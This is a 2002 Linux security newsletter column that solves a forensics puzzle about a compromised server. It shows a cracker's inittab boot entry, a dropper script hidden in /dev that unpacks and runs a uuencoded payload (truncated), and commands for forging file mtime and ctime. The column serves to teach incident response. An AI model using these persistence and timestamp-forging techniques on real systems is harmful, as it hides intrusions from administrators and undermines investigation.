By Bri Hatch.
Summary: Crackers can cause their software to be run by adding entries to /etc/inittab, a file frequently missed by administrators.
Last week I provided a challenge, which can be summarised as follows:
- A cracker broke into a server,
- Said cracker installed various back doors,
- The administrator removed everything he could find, but,
- Each time the machine was booted, even in single user mode, mysterious processes ran from /tmp/.qw,
- The /tmp directory was created clean from scratch at every bootup, so the files could not be stored there and usable between reboots,
- All xinetd and /etc/rc?.d services were cleaned out and nothing therein could have started these mystery processes, or start processes that started those processes, etc,
- No LKMs or kernel modifications were used to start these processes[1],
Many[2] people wrote in with ideas which fell into the following categories:
- changes to the master boot record
- changes to /etc/inittab
- changes to bootloader (lilo/grub) command-line arguments
- changes to initrd ram disks
- changes to /root/.bashrc, /etc/profile, and such.
I told folks to discount any change which required kernel modifications. A change to the MBR probably doesn't qualify in that regard, but it would certainly seem out of scope nonetheless.[3] Similarly, a change to the bootloader or initrd ram disk[4] fall under kernel changes to some degree, and thus weren't the correct answer, based on my phrasing.
Many folks suggested that it was root's .bashrc, or global /etc/profile and similar files that was the culprit. By logging in, root's shell would execute commands that were hidden in those files. That's definitely a possibility, but the fact that moniker had PID 15 meant that it had to have started before root logged in, so that's not the culprit.
In fact, the problem on this compromised box was caused by cracker changes to /etc/inittab. To explain, let's recap some of the evidence. The processes were visible via ps as:
# ps -ef | grep qw UID PID PPID C STIME TTY TIME CMD root 15 1 0 11:24 ? 00:00:00 /tmp/.qw/moniker root 242 15 0 11:25 ? 00:00:00 /tmp/.qw/cr8 root 244 1 0 11:25 ? 00:00:00 /tmp/.qw/rucc
Several folks said that it is quite obvious that 'moniker' and 'rucc' were started from init since their parent is process #1. (Init always has process ID #1). Unfortunately, that's faulty logic. Any daemonized process will be inherited by init when as seen in this "ps -ef" snippet:
$ ps -ef | grep ' 1 ' UID PID PPID C STIME TTY TIME CMD root 1 0 0 Jan23 ? 00:00:19 init [2] root 2 1 0 Jan23 ? 00:00:00 [powerd] root 3 1 0 Jan23 ? 00:00:00 [keventd] root 10 1 0 Jan23 ? 00:00:00 [scsi_eh_0] root 11 1 0 Jan23 ? 00:00:00 [khubd] root 88 1 0 Jan23 ? 00:00:04 perl /etc/swatch/swatch root 483 1 0 Jan23 ? 00:00:00 /sbin/klogd root 574 1 0 Jan23 ? 00:02:23 /usr/lib/postfix/master daemon 612 1 0 Jan23 ? 00:00:00 /usr/sbin/atd root 619 1 0 Jan23 ? 00:00:13 /usr/sbin/cron root 632 1 0 Jan23 ttyS0 00:00:00 /sbin/getty 9600 ttyS0 root 859 1 0 Jan23 ? 00:02:15 /sbin/syslogd root 893 1 0 Jan23 ? 00:28:28 /usr/sbin/sshd
These processes also have a PPID of 1, but most were started by standard /etc/rc?.d scripts. The fact that our cracker's processes had init as the parent doesn't prove they were started by init. However the 'moniker' program has a PID of 15 - a very very low number for processes. Assuming it was started as the 15th process (as opposed to being several thousand process IDs later when the PIDs wrapped around) then it must be extremely early in the boot process, before many rc?.d scripts run, and likely is started from init.
The administrator had re-installed all his software to be safe. By design, these re-installs did not wipe out his configuration files, so though he reinstalled init, it did not wipe /etc/inittab clean.
He scanned the machine for any files that had been touched since the breach, but this is not reliable. A cracker can easily change the modified-date timestamp on a file using the 'touch' command. Doing so will change the inode change time, however:
$ cd /tmp $ ls -l somefile; ls -cl somefile -rw------- 1 bri bri 20476 Sep 17 14:49 somefile -rw------- 1 bri bri 20476 Sep 17 14:49 somefile $ date Wed Dec 4 13:31:37 PST 2002 $ echo "blah" >> somefile $ ls -l somefile; ls -cl somefile -rw------- 1 bri bri 20481 Dec 04 12:00 somefile -rw------- 1 bri bri 20481 Dec 04 12:00 somefile $ touch 09201419 somefile $ ls -l somefile; ls -lc somefile -rw------- 1 bri bri 20481 Sep 17 14:19 somefile -rw------- 1 bri bri 20481 Dec 4 13:32 somefile
Note that after our 'touch' command, the file modification time (mtime) was set to the original Sept 17th date. However the inode change time (ctime) was not. The ctime is always updated whenever the inode has any changes made, such as file modifications, chmod permissions changes, etc. The administrator was smart by looking for files with mtime or ctime changes during the window where the cracker had access.
If the cracker modified /etc/inittab, even though he could reset the mtime with touch, he shouldn't be able to change the ctime back. Thus you'd think that his find process would have caught the /etc/inittab changes. Unfortunately, the cracker can still modify the ctime of a file simply by changing the system clock:
$ date 09201419 $ touch 09201419 somefile $ date 12041200 $ ls -l somefile; ls -lc somefile -rw------- 1 bri bri 20481 Sep 17 14:19 somefile -rw------- 1 bri bri 20481 Sep 17 14:19 somefile
So, faking both the mtime and ctime is trivial, and this is why he missed the changes to /etc/inittab - his find command didn't indicate any change, so he didn't examine the file at all.
So, what were those changes? Here's a snippet of the file
# The default runlevel. id:2:initdefault: # Boot-time system configuration/initialisation script. # This is run first except when booting in emergency (-b) mode. si::sysinit:/etc/init.d/rcS # What to do in single-user mode. ~~:S:wait:/sbin/sulogin C1:S:boot:/dev/st0z # /etc/init.d executes the S and K scripts upon change # of runlevel. # l0:0:wait:/etc/init.d/rc 0 l1:1:wait:/etc/init.d/rc 1 l2:2:wait:/etc/init.d/rc 2 l3:3:wait:/etc/init.d/rc 3 l4:4:wait:/etc/init.d/rc 4 ...
The line that begins with C1 above was the new entry. It tells init to run the program /dev/st0z at boot time, regardless of runlevel. This entry came before the /etc/init.d scripts (the l# entries) which is how it was able to get such a low process id.
The /dev/st0z file was the cracker's program. Sticking the file in /dev/ made it less likely the administrator would find it, since many admins don't understand what all the /dev devices do. This file was a simple shell script:
# head /dev/st0z #!/bin/sh cat <<'EOF' > /tmp/st0z.uu begin 700 st0z M?T5,1@$"`0`````````````"``(````!``%-$````#0``SSX```````T`"`` M`````@`"=W``!'=P`````````+@`````````!P`````O=7-R+VQI8B]L9"YS M.````4P`````````J@```"L```!Q````/0```6(```#2```!2`````````$1 ... M````````````````````F0```+H``````````````/8`````````]````7$` end EOF cd /tmp uudecode st0z.uu tar xzf st0z rm st0z.uu st0z exec /tmp/.qw/moniker
This script contains a uuencoded file within it, which it puts in /tmp. This uuencoded file is just a compressed tarball, so it uudecodes and untars it. It then deletes the temporary files, and then runs the moniker program (another shell script). The actual script had more comments at the top to make it look more like a system program, and obfuscated the commands a bit, but you get the idea.
Moniker was responsible for running the cr8 program -- obvious from ps output, since moniker is cr8's parent -- and for running rucc, which is not obvious from ps, but obvious if you read moniker's source.[6]
This st0z script also explains why the files in /tmp/.qw were always coming back, even though they weren't there between reboots. The files were copies out of the /dev/st0z file each time, so wiping /tmp had no effect.
So what were the problems this administrator faced when trying to track down and remove the mysterious cracker code?
- He blindly trusted timestamps on files, thus missing /etc/inittab.
- Had no file integrity tools on the system, thus missing inittab and /dev/st0z.
- He didn't understand the Linux boot process enough to know that programs can be launched by init directly.
Of course, you may argue having a weak root password was another problem. There were a few other backdoors found later, and eventually they decided to wipe the machine clean and start from scratch - a very good idea given how long the machine had been out of their control.
Thanks to the many folks who wrote in with ideas - you came up with some things I hadn't thought of either. And congratulations to Mandi Walls, who nailed pretty much everything that the cracker did. A beautiful copy of Hacking Linux Exposed, Second Edition will be coming your way.
Also, thanks to Simon Walter who pointed out the 'From Power Up To Bash Prompt' webpage at http://www.tldp.org/HOWTO/From-PowerUp-To-Bash-Prompt-HOWTO.html. If you want to understand the bootup process in more depth, take a look.
NOTES:
[1] This wasn't obvious based on the facts presented, but was offered by me since I already knew the actual cause, in order to narrow the scope of the challenge.
[2] Proof that a free book is much better incentive than a postcard - I shall have to remember this.
[3] A change to the MBR would need to run the kernel in a way different than the default, and really is no different than modifying the kernel or the bootloader. Thus a theoretical MBR change would seem to fit within the other alternatives anyway.
[4] Inirtd ram disks are typically used to help a Linux kernel load needed modules, and thus this fits into the kernel-changes category again.
[5] Becoming a daemon process involves code such as "fork && exit; fork && exit" which creates a child process and kills off the parent processes, such that they have no running parent process, and are inherited by init.
[6] Rucc contained code to daemonize, which is why it's parent is init.
Bri Hatch is Chief Hacker at Onsight, Inc and author of Hacking Linux Exposed and Building Linux VPNs. He launches programs from /etc/inittab quite regularly, or at worst through DJB's supervise. It's a heck of a lot easier than writing your own daemon checking and restarting code. Bri can be reached at bri@hackinglinuxexposed.com.
Copyright Bri Hatch, 2002
This is the December 05, 2002 issue of the Linux Security: Tips, Tricks, and Hackery newsletter. If you wish to subscribe, visit http://lists.onsight.com/ or send email to Linux_Security-request@lists.onsight.com.